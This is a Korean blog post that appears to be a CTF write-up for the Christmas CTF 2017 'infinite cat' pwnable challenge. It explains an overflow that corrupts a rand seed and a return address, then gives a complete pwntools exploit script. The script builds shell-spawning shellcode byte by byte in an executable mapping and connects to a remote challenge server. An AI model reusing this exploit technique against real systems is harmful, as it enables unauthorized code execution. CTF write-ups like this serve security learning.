ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Christmas CTF 2017 infinite cat
    Pwnable/CTF 2017. 12. 30. 22:14


     init_array 주소에서 nyang함수를 호출하는데 함수에서는 mmap을 이용하여서 7권한을 이용하여서 주소를 맵핑해주고  paper 전역변수에 맵핑   주소를 넣어준다.

     7 권한이면 4 2 1 순서대로 실행 쓰기 읽기 순서다. 여기서부터 누가봐도 쉘코드로 쉘을따는 문제라는것을 예상할수있다.

     
     



    이전에 read_int로 정수입력을 받고 매개변수로 받는다. 

    그 매개변수 만큼 rand를 돌리면서 아까 읽기권한이 있는 맵핑된주소에 rand값을 넣는데 buf에 0x34만큼입력을 받는다.

    0x34면 v4 함수포인터, seed, i, sfp,ret 6byte 오버플로우가된다.

    한번에 모든 쉘코드가 랜덤으로 짜질확률은 매우 낮기때문에 한개한개 만들어나갈것이다.

    count로 전역변수로 입력이되기때문에 main으로 돌아갔다가 1byte맞추고 main으로 돌아갔다가 1byte맞추는 식으로해도 전혀 문제가없을것이다.


    그래서 pwntool shellcraft에 내장되어있는 sh쉘코드를 1byte씩 맞춰나가면서 쉘을 딸수있다.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    from pwn import *
    from ctypes import *
     
    #p=process("./infinite_cat")
    p=remote("45.32.113.43",12025)
    elf=ELF("./infinite_cat")
    clib = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
    context.os = "linux"
    context.arch="amd64"
     
     
    def randomLeak(SH):
        SH = ord(SH)
        for i in range(0,65666):
            clib.srand(i)
            random = clib.random()%256
            if(random == SH):
                print SH
                print random
                return i
        
        print "TTT"
     
    def attack(seed):
        print p.recvuntil(': ')
        p.sendline("1")
        payload = "A"*12 #buf,fp
        payload += p32(seed) #seed 
        payload += "\x00"*0x14
        payload += "\x00"*8
        payload += p64(elf.symbols['main'])#main
        print p.recvuntil('?\n')
        p.send(payload)
     
    BinSh = asm(shellcraft.amd64.linux.sh())
     
    for j in BinSh:
        ran = randomLeak(j)
        attack(ran)
     
     
    p.interactive()
     
    cs


    'Pwnable > CTF' 카테고리의 다른 글

    SECCON 2017 secure Keymanager, Election  (0) 2018.01.10
    Christmas CTF 2017 bookstore  (0) 2017.12.30
    HITCON 2016 house_of_orange  (2) 2017.12.11
    BCTF 2017 Babyuse  (1) 2017.12.01
    TUCTF 2017 Write up  (0) 2017.11.27
Designed by Tistory.